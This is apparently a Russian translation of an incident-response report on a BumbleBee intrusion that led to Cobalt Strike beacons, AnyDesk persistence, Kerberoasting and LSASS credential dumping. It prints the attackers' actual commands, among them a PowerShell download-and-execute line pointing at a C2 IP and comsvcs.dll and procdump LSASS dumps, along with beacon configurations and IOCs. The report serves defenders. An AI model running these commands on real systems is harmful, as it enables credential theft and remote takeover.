После этой активности злоумышленники замолчали. Затем, на следующий день, они получили доступ к серверу через RDP и развернули специальный инструмент VulnRecon, предназначенный для определения локальных путей повышения привилегий на хосте Windows. Следующая проверка от злоумышленников произошла на 4-й день, когда злоумышленники снова запустили VulnRecon, но с хоста-плацдарма, а не с сервера. AdFind также использовался снова. Затем хакер передал инструмент Sysinternals Procdump через SMB в папки ProgramData на нескольких хостах в среде (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump). Затем они использовали удаленные сервисы для выполнения Procdump, который использовался для создания дампа LSASS. В этот момент хакеры, похоже, искали доступы, чем те что у них были в настоящее время. Хотя они могли перемещаться горизонтально на рабочие станции и по крайней мере на один сервер, казалось, что они еще не получили контроль над учетной записью, которая предоставила им доступ, который они искали, вероятно, администратором домена или аналогичной учетной записью с высокими привилегиями.
После этой активности злоумышленники исчезли на 7 дней, когда они получили доступ к серверу через Anydesk. Опять же, они запустили VulnRecon, а затем также запустили Seatbelt, инструмент красной команды для предварительного формирования различных обнаружений на основе хоста (https://github.com/GhostPack/Seatbelt).
В последний день вторжения, на 11-й день с момента первоначального проникновения злоумышленника готовились действовать для достижения конечных целей. Злоумышленники использовали PowerShell для загрузки и выполнения нового маячка Cobalt Strike PowerShell в памяти на хосте-плацдарме. После внедрения в различные процессы злоумышленники запускали модуль PowerShell Invoke-Kerberoast. Затем они применили еще один метод дампа LSASS на хост-плацдарм, на этот раз с помощью встроенного в Windows инструмента comsvcs.dll. AdFind был запущен в сети в третий раз, а затем были дропнуты и запущены два пакетных сценария. Цель этих пакетных сценариев заключалась в том, чтобы идентифицировать все онлайн-серверы и рабочие станции в среде, что часто предшествует развертыванию программ-вымогателей путем создания целевого списка для этого развертывания.
После запуска сценариев на плацдарме был запущен новый исполняемый маячок Cobalt Strike. Затем злоумышленники использовали учетную запись службы для удаленного запуска маяка Cobalt Strike на контроллере домена. У этой служебной учетной записи был слабый пароль, который, скорее всего, был взломан в автономном режиме после того, как ранее во время вторжения был взломан с помощью Kerberos.
Затем хакеры были изгнаны из среды, прежде чем можно было предпринять какие-либо окончательные действия. Мы оцениваем, основываясь на уровне доступа и активности обнаружения с последнего дня, вероятными последними действиями было бы развертывание рансома на уровне домена.
Сервисы
Мы предлагаем несколько сервисов, включая службу Threat Feed, которая отслеживает системы управления и контроля, такие как Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, и т.д. Более подробную информацию об этой и других услугах можно найти здесь (https://thedfirreport.com/services/).
У нас также есть артефакты и IOC, доступные из этого случая, такие как pcaps, дампы памяти, файлы, журналы событий, включая пакеты Sysmon, Kape и многое другое, в рамках наших услуг по исследованию безопасности и организации.
Таймлайн
Начальный доступ
Злоумышленникам удалось получить доступ к хосту-плацдарму после успешного выполнения lnk-файла в ISO-образе, который обычно распространяется посредством рассылок по электронной почте.
Первоначальная полезная нагрузка с именем BC_invoice_Report_CORP_46.iso представляет собой ISO-образ, который после подключения побуждает пользователя открыть файл document.lnk, который запустит вредоносный загрузчик DLL, используя следующую командную строку:
C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob
Запуск инструмента Эрика Циммермана LECmd ((https://ericzimmerman.github.io/#!index.md)) выявил дополнительные подробности, связанные с хакерами. Метаданные включали имя хоста машины ТА, MAC-адрес и дату создания документа LNK:
Выполнение
Выполнение нескольких полезных нагрузок
Успешное выполнение полезной нагрузки BumbleBee (namr.dll) привело к дропингу и выполнению нескольких полезных нагрузок с использованием нескольких методов. На приведенном ниже графике показаны все полезные нагрузки, дропнутые BumbleBee, способ их выполнения и различные процессы, в которые они были внедрены:
Выполнение Кобальта
Следующий однострочный PowerShell был выполнен из wab.exe в течение 11-го дня, который загрузил обфусцированный PowerShell и выполнил его в памяти:
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a'))"
Поскольку загрузка происходила по незашифрованному HTTP-каналу, сетевой трафик был хорошо виден.
Эту полезную нагрузку можно деобфусцировать, используя следующий рецепт CyberChef:
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Label('Decode_Shellcode')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Conditional_Jump('',false,'',10)
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)
После деобфускации мы можем обнаружить заголовок MZRE, который является частью стандартной конфигурации Cobalt Strike:
Один из самых простых способов извлечь ценную информацию из этого шеллкода — использовать инструмент Didier Stevens 1768.py (https://github.com/DidierStevens/DidierStevensSuite/blob/master/1768.py):
Сервер управления и контроля был размещен на 108.62.12.174/dofixifa.co). Полное
Персистенс
AnyDesk и его установка в качестве службы использовались для сохранения и создания бэкдора в сети.
Повышение привилегий
GetSystem
Злоумышленники допустили ошибку, запустив команду getsystem не в той консоли (консоль оболочки, а не в консоли маячка).
Родительским процессом этой команды был C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc , процесс, в который был внедрен Cobalt Strike:
C:\Windows\system32\cmd.exe /C getsystem
Эта команда является встроенной командой Cobalt Strike, которая используется для получения привилегий SYSTEM. Подробное описание этой функции задокументировано в официальном блоге Cobalt Strike, а также подробно описано в нашем блоге Cobalt Strike.
Действительные учетные записи
Хакеры получили и злоупотребили учетными данными учетных записей привилегированного домена, чтобы получить повышение привилегий в домене.
Они также использовали учетные записи локальных администраторов.
Учетная запись службы с разрешениями администратора домена использовалась для создания удаленной службы на контроллере домена для горизонтального перемещения.
Уклонение от защиты
Инжекция процесса
Техника внедрения в процесс использовалась несколько раз для внедрения в различные процессы. Почти каждое задание постэксплуатации запускалось из внедренного процесса.
Сразу после выполнения процесс wab.exe создал два удаленных потока для внедрения кода в explorer.exe и rundll32.exe:
Злоумышленники также создали удаленный поток в svchost.exe:
Затем были порождены есколько процессов
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
для выполнения различных методов (перечисление, сброс учетных данных и т. д.):
Сканирование Yara памяти процесса с использованием правила Malpedia Cobalt Strike выявило различные инъекции на хостах.
Удаление индикатора на хосте: удаление файла
Мы наблюдали, как злоумышленники удаляли свои инструменты (Procdump, скрипты сканирования сети и т. д.) с хостов.
В таблице ниже показан пример удаления ProcDump из папки ProgramData всех целевых рабочих станций после дампа процесса LSASS:
Доступ к учетным данным
Дамп LSASS
Минидамп
Злоумышленники сдампили процесс LSASS с плацдарма, используя технику comsvcs.dll MiniDump через маячок C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc:
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full
ProcDump
Злоумышленники также удаленно сбросили procdump.exe и procdump64.exe на несколько рабочих станций, сдампили LSASS и удалили их из папки ProgramData:
Утилита ProcDump была запущена на этих рабочих станциях с помощью следующей командной строки:
C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp
Кербероастинг
Команда Invoke-Kerberoast выполнялась с плацдарма через svchost.exe — процесс, в который внедряли злоумышленники:
Вот выдержка из PowerShell EventID 800, показывающая различные параметры Invoke-Kerberoast, используемые злоумышленниками, включая формат вывода HashCat:
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8
Сразу после выполнения Invoke-Kerberoast журналы DC показывают, что с узла плацдарма было запрошено несколько билетов службы Kerberos, с типом шифрования билетов, установленным на 0x17 (RC4), и параметрами билетов на 0x40810000 для учетных записей служб.
Примерно через 3 часа одна из учетных записей службы вошла в один из контроллеров домена с плацдарма.
Мы с высокой степенью достоверности оцениваем, что пароль служебной учетной записи был слабым и взломан злоумышленниками в автономном режиме.
Разведка
Системная информация и обнаружение программного обеспечения
Маячком wab.exe были запущены следующие команды:
whoami
ipconfig /all
tasklist
systeminfo
wmic product get name,version
wmic /node:<REDACTED> process list brief
net view \\<REDACTED>\Files$ /all
dir \\<REDACTED>\C$\
Используя тот же маяк, wab.exe, список задач также использовался для удаленного перечисления процессов на нескольких хостах:
tasklist /v /s <REMOTE_IP>
Обнаружение групп администраторов и доменов
Как мы уже видели в нескольких случаях, злоумышленники перечисляли группу локальных администраторов и группы администраторов домена (Enterprise и DA) в основном с помощью команды net:
net use
net group "Domain computers" /dom
net group "Enterprise admins" /domain
net group "domain admins" /domain
net localgroup administrators
nltest /dclist:
nltest /domain_trusts
ping -n 1 <REMOTE_IP>
Ошибка оператора
Злоумышленники не смогли выполнить часть своих задач, выполнив команду не в той консоли:
C:\Windows\System32\rundll32.exe
➝ C :\Windows\system32\cmd.exe /C shell whoami /all
Можно с большой уверенностью утверждать, что этап разведки не был полностью автоматизирован, а злоумышленники вручную выполняли команды и допустили ошибку в одной из них.
AdFind
Чтобы перечислить Active Directory, злоумышленники запускали AdFind с узла-плацдарма в трех разных случаях:
Источник выполнения, инициирующий родительский процесс, в каждом случае был разным, а имя двоичного файла AdFind и файлов результатов в одном случае были разными, что может указывать на то, что несколько хакеров получали доступ к сети.
Сканирование сети
Злоумышленники использовали два сценария с именами s.bat (для серверов) и w.bat (для рабочих станций) для проверки связи с хостами и сохранения результатов в двух файлах журнала:
s.bat-скрипт:
off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do %%j >> serv.log
off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do %%j >> work.log
Оба этих сценария были выполнены из маячка PowerShell Cobalt Strike (powershell.exe).
Invoke-ShareFinder
Invoke-ShareFinder — это модуль PowerShell, который является частью PowerView.
Invoke-ShareFinder — находит (нестандартные) общие ресурсы на хостах в локальном домене
Злоумышленники выполнили перечисление общих ресурсов с помощью Invoke-ShareFinder.
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/');
Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt
Поскольку rundll32.exe выполнял PowerShell, мы видим, что rundll32.exe создал выходной файл ShareFinder.txt в C:\ProgramData\.
SeatBelt
Инструмент SeatBelt использовался злоумышленниками на сервере для обнаружения потенциальных неправильных настроек безопасности.
Seatbelt — это проект C#, который выполняет ряд ориентированных на безопасность проверок безопасности хоста, актуальных как с наступательной, так и с оборонительной точки зрения безопасности.
Злоумышленники провели полную разведку, указав флаг -group=all:
Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
VulnRecon
Злоумышленники сбросили два двоичных файла с именами vulnrecon.dll и vulnrecon.exe на два хоста. Это первый раз, когда мы наблюдаем этот инструмент. Эта библиотека, по-видимому, представляет собой специальный инструмент, разработанный для помощи злоумышленникам в перечислении локального повышения привилегий Windows.
vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb
В таблице ниже представлены возможности инструмента:
Ниже приведен список всех поддерживаемых в настоящее время (или реализованных) перечислений CVE через сопоставление установленных KB:
Злоумышленники несколько раз запускали этот инструмент на пациенте 0 с низкоуровневыми привилегиями и снова на сервере с правами администратора. Ниже приведены все командные строки, запускаемые злоумышленниками:
Боковое передвижение
Боковая передача инструмента
С помощью маячка Cobalt Strike злоумышленники перенесли файл AnyDesk (1.exe) с плацдарма на сервер:
Злоумышленники также перенесли ProcDump с плацдарма на несколько рабочих станций:
Удаленные службы
Протокол удаленного рабочего стола
Злоумышленники использовали файл explorer.exe, в который они были ранее внедрены, для инициирования прокси-подключения RDP к серверу:
Злоумышленники совершили первое горизонтальное перемещение с плацдарма на сервер по протоколу RDP с учетной записью администратора:
Это первое боковое перемещение было выполнено для того, чтобы сбросить и установить AnyDesk.
Общие ресурсы администратора SMB/Windows
Удаленное обслуживание через RPC
Несколько RPC-подключений были инициированы процессом rundll32.exe, в который ранее был внедрен wab.exe:
Эти RPC-подключения нацелены на несколько хостов, включая рабочие станции, серверы и контроллеры домена.
Как мы видим, на одном из серверов, который был атакован, вредоносное ПО использовало функцию Win32 CreateServiceA для создания удаленной службы через RPC на сервере.
Cobalt Strike со встроенным PsExec
Злоумышленники использовали встроенную команду Cobalt Strike jump psexec для бокового перемещения. При каждом использовании этой функции создавалась удаленная служба со случайными буквенно-цифровыми символами, именем службы и именем файла службы, например. «<7 буквенно-цифровых символов>.exe».
Ниже приведен пример службы edc603a, созданной на контроллере домена:
Учетная запись, используемая для выполнения этого горизонтального перемещения, была одной из учетных записей службы, загруженных с помощью Kerberos.
Служба запускает процесс rundll32.exe без аргументов. Этот процесс был направлен на (108.62.12.174/dofixifa.co), второй Cobalt Strike C2, использовавшийся в последний день этого вторжения.
Мы наблюдали, как этот маяк выполняет различные методы (внедрение процессов в процесс svchost через CreateRemoteThread, именованные каналы по умолчанию и т. д.).
СС
На приведенном ниже графике показаны все соединения с вредоносными IP-адресами, сделанные сброшенными полезными нагрузками или процессами, в которые злоумышленники внедрили:
BumbleBee
142.91.3[.]109
45.140.146.30
Все активные команды и элементы управления Bumblebee имеют общую конфигурацию сервера в отношении настройки TLS.
JA3: c424870876f1f2ef0dd36e7e569de906
JA3s: 61be9ce3d068c08ff99a857f62352f9d
Certificate: [76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]
Not Before: 2022/04/12 06:33:52 UTC
Not After: 2023/04/12 06:33:52 UTC
Issuer Org: Internet Widgits Pty Ltd
Subject Org: Internet Widgits Pty Ltd
Public Algorithm: rsaEncryption
Cobalt Strike
Cobalt Strike (CS) широко использовался во время этого вторжения, злоумышленники использовали CS в качестве основного инструмента управления и контроля, дропнули несколько полезных нагрузок и внедрили их в несколько процессов на разных хостах.
Серверы C2
Во время этого вторжения использовались два сервера CS C2. На приведенном ниже графике показана активность маячков с течением времени, мы можем заметить непрерывное использование первого сервера C2 (45.153.243.142/fuvataren.com) с первого дня и второго сервера C2 (108.62.12.174/dofixifa.co) только в последний день вторжения (день 11):
Основной маячок wab.exe:
45.153.243.142
fuvataren.com
Ниже представлена конфигурация Cobalt Strike этого C2, экспортированная из результатов анализа песочницы:
access_type: 512
beacon_type: 2048
host: fuvataren.com,/rs.js
http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1: GET
http_method2: POST
jitter: 6144
polling_time: 5000
port_number: 443
sc_process32: %windir%\syswow64\rundll32.exe
sc_process64: %windir%\sysnative\rundll32.exe
state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
3.025605888e+09
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri: /en
user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202
watermark: 1580103814
Маячок PowerShell:
108.62.12.174
dofixifa.co
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767
Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]
Not Before: 2022/03/26 00:00:00 UTC
Not After: 2023/03/26 23:59:59 UTC
Issuer Org: Sectigo Limited
Subject Common: dofixifa.com [dofixifa.com ,www.dofixifa.com ]
Public Algorithm: rsaEncryption
Полное извлечение конфигурации с помощью инструмента 1768.py:
Config found: xorkey b'.' 0x00000000 0x000031e0
0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 443
0x0003 sleeptime 0x0002 0x0004 5000
0x0004 maxgetsize 0x0002 0x0004 2796542
0x0005 jitter 0x0001 0x0002 48
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 0
0x0026 bStageCleanup 0x0001 0x0002 1
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202'
0x000a post-uri 0x0003 0x0040 '/styles'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4,2:338,3,8]
Remove 338 bytes from begin
BASE64
NETBIOS lowercase
0x000c http_get_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Build Metadata: [7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie]
NETBIOS lowercase
BASE64
Prepend wordpress_logged_in=
Header Cookie
0x000d http_post_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Const_header Accept-Encoding: gzip
Const_header Content-Type: text/plain
Build Output: [7:Output,15,3,4]
XOR with 4-byte random key
BASE64
Build SessionId: [7:SessionId,3,2:__session__id=,6:Cookie]
BASE64
Prepend __session__id=
Header Cookie
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 155989
0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\x00p\x02\x00á\x0b\x03\x00\x00\x10\x03\x00 ·\x03\x00\x00À\x03\x00\x1cÞ\x03'
0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ
0x002d process-inject-min_alloc 0x0002 0x0004 12128
0x002e process-inject-transform-x86 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90'
0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90'
0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíð\x81\x0c[_I\x8eßG1Ìm'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
Именованные каналы по умолчанию
Злоумышленники использовали конфигурацию CS по умолчанию и именованные каналы по умолчанию. Именованные каналы были созданы для того, чтобы установить связь между процессами CS:
В данном конкретном случае злоумышленники использовали задания постэксплуатации по умолчанию, которые имеют шаблон postex_[0-9a-f]{4}.
Ниже приведен полный список всех именованных каналов по умолчанию, обнаруженных во время этого вторжения:
\postex_0dde
\postex_3e9b
\postex_4008
\postex_4429
\postex_55f8
\postex_8248
\postex_8c73
\postex_972d
\postex_fc2e
Именованные каналы обычно используются Cobalt Strike для выполнения различных техник.
AnyDesk
Как упоминалось ранее в разделе о переносе инструментов, злоумышленники удаленно сбросили бинарный файл AnyDesk на сервер с плацдарма:
Новая служба была создана (идентификатор события 7045) при выполнении установщика AnyDesk:
Журналы AnyDesk, %ProgramData%\AnyDesk\ad_svc.trace и %AppData%\AnyDesk\ad.trace, показывают, что он использовался в течение 1-го и 7-го дня этого вторжения, каждый раз используя учетную запись локального администратора. Использование AnyDesk может быть относительно легко обнаружено, если у вас есть правильные журналы (домены *.anydesk.com, пользовательский агент AnyDesk и т. д.):
Использование AnyDesk также вызвало две подписи ET:
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
Файл конфигурации AnyDesk и сетевые журналы показали, что используемый идентификатор был 159889039, а исходный IP-адрес — 108.177.235.25 (LeaseWeb USA — Cloud Provider).
Нанесение удара
Во время этого вторжения не было никакого воздействия (эксфильтрация, шифрование или уничтожение данных). Тем не менее, наблюдаемые TTP показывают распространенные действия хакеров, которые могли бы привести к распространению программ-вымогателей в масштабах домена, если бы у злоумышленников было достаточно времени.